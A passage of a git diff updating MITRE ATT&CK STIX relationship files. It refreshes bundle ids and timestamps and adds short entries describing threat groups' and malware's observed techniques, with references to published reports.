@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59cd88cc-4806-410e-a5e2-5ca2373f2e00",
+    "id": "bundle--fa6b5e65-722b-41d6-9060-76e4662588f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37ba7858-8765-4445-a65e-d2765b673b34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 has created a scheduled task named \u201cAdobeFlashSync\u201d to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--37c94531-1e56-4640-93fd-e9fd65da4f80.json b/enterprise-attack/relationship/relationship--37c94531-1e56-4640-93fd-e9fd65da4f80.json
index a0aca601fa..50b03571e1 100644
--- a/enterprise-attack/relationship/relationship--37c94531-1e56-4640-93fd-e9fd65da4f80.json
+++ b/enterprise-attack/relationship/relationship--37c94531-1e56-4640-93fd-e9fd65da4f80.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ad897e4-913e-4404-a249-b5bdf67eb3bd",
+    "id": "bundle--a33b803d-0c67-4843-845f-7b0aba071751",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel uses a sophisticated keylogger.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
diff --git a/enterprise-attack/relationship/relationship--37dd9a3c-dd52-4541-be7c-b490d026305c.json b/enterprise-attack/relationship/relationship--37dd9a3c-dd52-4541-be7c-b490d026305c.json
index dc187ebc1f..cb6bbe5234 100644
--- a/enterprise-attack/relationship/relationship--37dd9a3c-dd52-4541-be7c-b490d026305c.json
+++ b/enterprise-attack/relationship/relationship--37dd9a3c-dd52-4541-be7c-b490d026305c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac02d6a4-9c8f-4f3d-b70d-6fd48bbf4b28",
+    "id": "bundle--555d710e-ab74-43f9-bfba-6374c27844ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98.json b/enterprise-attack/relationship/relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98.json
index b48e91b544..5d994b05ef 100644
--- a/enterprise-attack/relationship/relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98.json
+++ b/enterprise-attack/relationship/relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e908b417-93fd-42a3-bcc3-badc64fdc28b",
+    "id": "bundle--4e6f06c8-cb44-4b85-bdd1-3107ace2efa1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry.BlackEnergy has searched for given file types.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--380db9ad-f6ad-4988-8a28-b773313f07b7.json b/enterprise-attack/relationship/relationship--380db9ad-f6ad-4988-8a28-b773313f07b7.json
index 58289c43af..2d4afa29a6 100644
--- a/enterprise-attack/relationship/relationship--380db9ad-f6ad-4988-8a28-b773313f07b7.json
+++ b/enterprise-attack/relationship/relationship--380db9ad-f6ad-4988-8a28-b773313f07b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b9fdbc42-1bd9-4f6b-9600-49ed2b5ec0e4",
+    "id": "bundle--66d83cf3-458a-4019-bb37-bb89f9c00e27",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--380db9ad-f6ad-4988-8a28-b773313f07b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of spawning a reverse shell on a victim.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61.json b/enterprise-attack/relationship/relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61.json
index b2f8bc19bc..c53a0fd171 100644
--- a/enterprise-attack/relationship/relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61.json
+++ b/enterprise-attack/relationship/relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3dfd7f4-9470-4e77-bd0d-82d6332ff6ff",
+    "id": "bundle--6bc53f43-8b91-4317-97bb-f5808b8934c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most Sakula samples maintain persistence by setting the Registry Run key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> in the HKLM or HKCU hive, with the Registry value and file name varying by sample.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--385f57f4-87b6-4126-ab67-531e482ec9bc.json b/enterprise-attack/relationship/relationship--385f57f4-87b6-4126-ab67-531e482ec9bc.json
index 1a334a6c02..3ea5a8e06d 100644
--- a/enterprise-attack/relationship/relationship--385f57f4-87b6-4126-ab67-531e482ec9bc.json
+++ b/enterprise-attack/relationship/relationship--385f57f4-87b6-4126-ab67-531e482ec9bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99a63132-a465-449c-b092-a6b5c578f0aa",
+    "id": "bundle--4e9b2697-c3e7-4e8e-949b-fdd12317ce6f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin contains a keylogger.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--3884be12-f73f-4f9b-875e-68d40798faf6.json b/enterprise-attack/relationship/relationship--3884be12-f73f-4f9b-875e-68d40798faf6.json
index 8f869e5bd7..2db33873bf 100644
--- a/enterprise-attack/relationship/relationship--3884be12-f73f-4f9b-875e-68d40798faf6.json
+++ b/enterprise-attack/relationship/relationship--3884be12-f73f-4f9b-875e-68d40798faf6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c4625ab-e1d2-4122-be2f-89c2a8191634",
+    "id": "bundle--212c06e5-9f20-4885-85e4-820a3c16ea7b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3884be12-f73f-4f9b-875e-68d40798faf6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After encrypting C2 data, BADNEWS converts it into a hexadecimal representation and then encodes it into base64.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--388b4637-f634-42ab-a370-981be7da89bd.json b/enterprise-attack/relationship/relationship--388b4637-f634-42ab-a370-981be7da89bd.json
index dd41fe41df..099f0c3dbe 100644
--- a/enterprise-attack/relationship/relationship--388b4637-f634-42ab-a370-981be7da89bd.json
+++ b/enterprise-attack/relationship/relationship--388b4637-f634-42ab-a370-981be7da89bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93419715-6fe9-4e3f-828b-20d8e0c27867",
+    "id": "bundle--ca568f74-ab21-4987-9248-7affd6470efc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--388b4637-f634-42ab-a370-981be7da89bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves uses a specific port of 443 and can also use ports 53 and 80 for C2.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed.json b/enterprise-attack/relationship/relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed.json
index 7d572727d4..69bc4cdeb6 100644
--- a/enterprise-attack/relationship/relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed.json
+++ b/enterprise-attack/relationship/relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--61e2375d-63d9-4d90-96c1-6ce0efe63074",
+    "id": "bundle--e9e75900-182c-489a-a415-26aa3edc47a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52",
             "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
diff --git a/enterprise-attack/relationship/relationship--38a72b32-dc04-493d-8b92-31174c32f3ed.json b/enterprise-attack/relationship/relationship--38a72b32-dc04-493d-8b92-31174c32f3ed.json
index e08e89ab7a..f7c5d99ac2 100644
--- a/enterprise-attack/relationship/relationship--38a72b32-dc04-493d-8b92-31174c32f3ed.json
+++ b/enterprise-attack/relationship/relationship--38a72b32-dc04-493d-8b92-31174c32f3ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4f0638e-3f6e-4b42-8a6b-fbc06721e8b0",
+    "id": "bundle--8461bbf8-e6c8-4bf4-aa65-43e38f40b9b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--38a72b32-dc04-493d-8b92-31174c32f3ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has collected files from a local victim.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c.json b/enterprise-attack/relationship/relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c.json
index 82167d73bf..d26195c1b2 100644
--- a/enterprise-attack/relationship/relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c.json
+++ b/enterprise-attack/relationship/relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c4a72ba-6093-44bc-be27-6130b9419c0b",
+    "id": "bundle--7d15317f-b160-45a4-92da-aaaed0f02f0f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
             "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
diff --git a/enterprise-attack/relationship/relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a.json b/enterprise-attack/relationship/relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a.json
index 3a5aa09bd0..0ecfde455a 100644
--- a/enterprise-attack/relationship/relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a.json
+++ b/enterprise-attack/relationship/relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d43d346d-bc2f-468a-b3b5-d68eb3c82c72",
+    "id": "bundle--4d5d5acf-8ef1-4a21-9dd5-7e10a1738fc0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon accesses network share(s), enables share access to the target device, and copies an executable payload to the target system, and uses a Scheduled Task to execute the malware.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--39076217-a5bf-4b1b-b085-8dbf7ba92265.json b/enterprise-attack/relationship/relationship--39076217-a5bf-4b1b-b085-8dbf7ba92265.json
new file mode 100644
index 0000000000..04125038bd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--39076217-a5bf-4b1b-b085-8dbf7ba92265.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5fe2a1f6-fe11-4ced-996e-6afe53f80ae1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--39076217-a5bf-4b1b-b085-8dbf7ba92265",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly used various scripts for execution, and was observed installing Python 2.7 on a victim.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf.json b/enterprise-attack/relationship/relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf.json
new file mode 100644
index 0000000000..e16ac4d77e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--57d1e1a6-8401-4d4f-8d5c-1d446cc9e61a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 scans processes on all victim systems in the environment and uses automated scripts to pull back the results.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--396287ea-36d9-4d84-bf22-af559eb20f58.json b/enterprise-attack/relationship/relationship--396287ea-36d9-4d84-bf22-af559eb20f58.json
index 67bbaf0998..ea3c495081 100644
--- a/enterprise-attack/relationship/relationship--396287ea-36d9-4d84-bf22-af559eb20f58.json
+++ b/enterprise-attack/relationship/relationship--396287ea-36d9-4d84-bf22-af559eb20f58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cffaeced-3cec-45ba-a8ee-4c3004a6641d",
+    "id": "bundle--1d6e913e-686c-46f3-879f-7446b5a4c895",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--396287ea-36d9-4d84-bf22-af559eb20f58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
             "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
diff --git a/enterprise-attack/relationship/relationship--396edbf6-41b5-4377-90b6-4967c24de7fb.json b/enterprise-attack/relationship/relationship--396edbf6-41b5-4377-90b6-4967c24de7fb.json
new file mode 100644
index 0000000000..e6410cd30f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--396edbf6-41b5-4377-90b6-4967c24de7fb.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6dd3545a-1000-4909-b33a-97074db6c876",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--396edbf6-41b5-4377-90b6-4967c24de7fb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim host name and serial number, and then sends the information to the C2 server.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--39791d22-fec7-4459-8321-c9aa824d5fc1.json b/enterprise-attack/relationship/relationship--39791d22-fec7-4459-8321-c9aa824d5fc1.json
new file mode 100644
index 0000000000..f1d9bde0ce
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--39791d22-fec7-4459-8321-c9aa824d5fc1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5671f0a0-3e38-425a-bab4-e4fa47905714",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--39791d22-fec7-4459-8321-c9aa824d5fc1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER uses the command-line interface.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--397e4a59-23b1-47ef-9a57-9f401375b2cb.json b/enterprise-attack/relationship/relationship--397e4a59-23b1-47ef-9a57-9f401375b2cb.json
new file mode 100644
index 0000000000..0df1cc4891
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--397e4a59-23b1-47ef-9a57-9f401375b2cb.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3706c2e2-a9a0-4443-8a54-676e19b6f1c5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--397e4a59-23b1-47ef-9a57-9f401375b2cb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d.json b/enterprise-attack/relationship/relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d.json
index a8017ecec1..ab09fd57f8 100644
--- a/enterprise-attack/relationship/relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d.json
+++ b/enterprise-attack/relationship/relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d86d19d-329a-40f0-b41c-5be6f725f30d",
+    "id": "bundle--f2311c40-dab2-42ff-ad63-4e1f319061a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--39b735d3-c659-4d1a-8e7e-082c0f049c2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29.json b/enterprise-attack/relationship/relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29.json
index 21feaf4c0f..e8e927ed07 100644
--- a/enterprise-attack/relationship/relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29.json
+++ b/enterprise-attack/relationship/relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9a51d770-9d77-46d9-ad60-7b778b58a87f",
+    "id": "bundle--c9c30b1a-48b9-4b41-8e25-e21db5099c04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a file containing the results of the command <code>cmd.exe /c ipconfig /all</code>.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248.json b/enterprise-attack/relationship/relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248.json
new file mode 100644
index 0000000000..9478e3f9bb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a880a24a-3d62-47c7-b811-97cb10286327",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Lazarus Group uses multiple proxies to obfuscate network traffic from victims.",
+            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4.json b/enterprise-attack/relationship/relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4.json
index 27be59d156..21eafc144e 100644
--- a/enterprise-attack/relationship/relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4.json
+++ b/enterprise-attack/relationship/relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03da156e-3679-4cd1-a9c4-95b5c625a2c1",
+    "id": "bundle--c3b7b0d7-32cb-4477-97f8-1fc2608cbc08",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a241a6c-11ee-4abc-a551-b5d4e594aad4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
